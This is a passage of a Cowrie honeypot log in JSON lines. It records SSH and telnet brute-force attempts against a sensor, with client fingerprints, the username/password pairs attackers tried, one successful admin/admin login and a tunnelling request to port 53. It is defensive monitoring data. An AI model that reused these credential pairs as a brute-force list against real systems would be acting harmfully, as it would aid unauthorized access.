01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:25.735098Z","src_ip":"176.53.159.196","session":"4ba3019c322c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:26.040042Z","src_ip":"176.53.159.196","session":"4ba3019c322c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:26.143152Z","session":"4ba3019c322c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:26.245851Z","src_ip":"176.53.159.196","session":"4ba3019c322c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:26.348998Z","src_ip":"176.53.159.196","session":"4ba3019c322c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58694,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ac3849d65c5","protocol":"telnet","message":"New connection: 170.64.224.25:58694 (159.203.135.109:23) [session: 8ac3849d65c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:26.369757Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":34190,"dst_ip":"10.17.0.5","dst_port":22,"session":"88d13b87f57e","protocol":"ssh","message":"New connection: 38.148.249.2:34190 (10.17.0.5:22) [session: 88d13b87f57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:26.990191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:26.994051Z","src_ip":"38.148.249.2","session":"88d13b87f57e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:27.063201Z","src_ip":"38.148.249.2","session":"88d13b87f57e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sr123456.","message":"login attempt [root/Sr123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:27.373100Z","src_ip":"38.148.249.2","session":"88d13b87f57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:28.444744Z","src_ip":"38.148.249.2","session":"88d13b87f57e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62596,"dst_ip":"10.17.0.5","dst_port":22,"session":"802ef70ec5cd","protocol":"ssh","message":"New connection: 109.91.4.177:62596 (10.17.0.5:22) [session: 802ef70ec5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:33.302857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:33.306491Z","src_ip":"109.91.4.177","session":"802ef70ec5cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:33.410898Z","src_ip":"109.91.4.177","session":"802ef70ec5cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test!@#123","message":"login attempt [root/Test!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:34.176555Z","src_ip":"109.91.4.177","session":"802ef70ec5cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:35.284207Z","src_ip":"109.91.4.177","session":"802ef70ec5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52042,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2b384f88636","protocol":"ssh","message":"New connection: 87.251.79.125:52042 (10.17.0.5:22) [session: d2b384f88636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:44.632256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:44.635919Z","src_ip":"87.251.79.125","session":"d2b384f88636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:44.709409Z","src_ip":"87.251.79.125","session":"d2b384f88636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"safronova","message":"login attempt [root/safronova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:44.922707Z","src_ip":"87.251.79.125","session":"d2b384f88636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.74998164176941,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:45.282001Z","src_ip":"170.64.224.25","session":"37254a391c1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:45.995803Z","src_ip":"87.251.79.125","session":"d2b384f88636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":40542,"dst_ip":"10.17.0.5","dst_port":22,"session":"1505a3f1f7b5","protocol":"ssh","message":"New connection: 209.99.190.200:40542 (10.17.0.5:22) [session: 1505a3f1f7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:50.760546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:50.764412Z","src_ip":"209.99.190.200","session":"1505a3f1f7b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:50.862055Z","src_ip":"209.99.190.200","session":"1505a3f1f7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test!@#123","message":"login attempt [root/Test!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:51.287874Z","src_ip":"209.99.190.200","session":"1505a3f1f7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:52.388344Z","src_ip":"209.99.190.200","session":"1505a3f1f7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":49234,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d79e573efe","protocol":"ssh","message":"New connection: 198.1.93.192:49234 (159.203.135.109:22) [session: b2d79e573efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:52.850101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:52.852973Z","src_ip":"198.1.93.192","session":"b2d79e573efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:52.933936Z","src_ip":"198.1.93.192","session":"b2d79e573efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agix123","password":"agix123","message":"login attempt [agix123/agix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:53.184824Z","src_ip":"198.1.93.192","session":"b2d79e573efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:58.528001Z","src_ip":"198.1.93.192","session":"b2d79e573efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":45066,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dba91b5b94f","protocol":"ssh","message":"New connection: 192.163.244.125:45066 (10.17.0.5:22) [session: 3dba91b5b94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:09.168997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:09.173299Z","src_ip":"192.163.244.125","session":"3dba91b5b94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:09.244028Z","src_ip":"192.163.244.125","session":"3dba91b5b94f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G3m1n1$Tr0ng#P@ss","message":"login attempt [root/G3m1n1$Tr0ng#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:09.457933Z","src_ip":"192.163.244.125","session":"3dba91b5b94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:11.360676Z","src_ip":"192.163.244.125","session":"3dba91b5b94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":21058,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdbfdc245bec","protocol":"ssh","message":"New connection: 38.93.206.2:21058 (10.17.0.5:22) [session: cdbfdc245bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:27.574033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:27.577605Z","src_ip":"38.93.206.2","session":"cdbfdc245bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:27.693823Z","src_ip":"38.93.206.2","session":"cdbfdc245bec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5!","message":"login attempt [root/q1w2e3r4t5!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:27.876110Z","src_ip":"38.93.206.2","session":"cdbfdc245bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:28.929264Z","src_ip":"38.93.206.2","session":"cdbfdc245bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":55942,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c72ad5936b5","protocol":"ssh","message":"New connection: 92.118.39.71:55942 (159.203.135.109:22) [session: 3c72ad5936b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:33.552370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:33.555458Z","src_ip":"92.118.39.71","session":"3c72ad5936b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict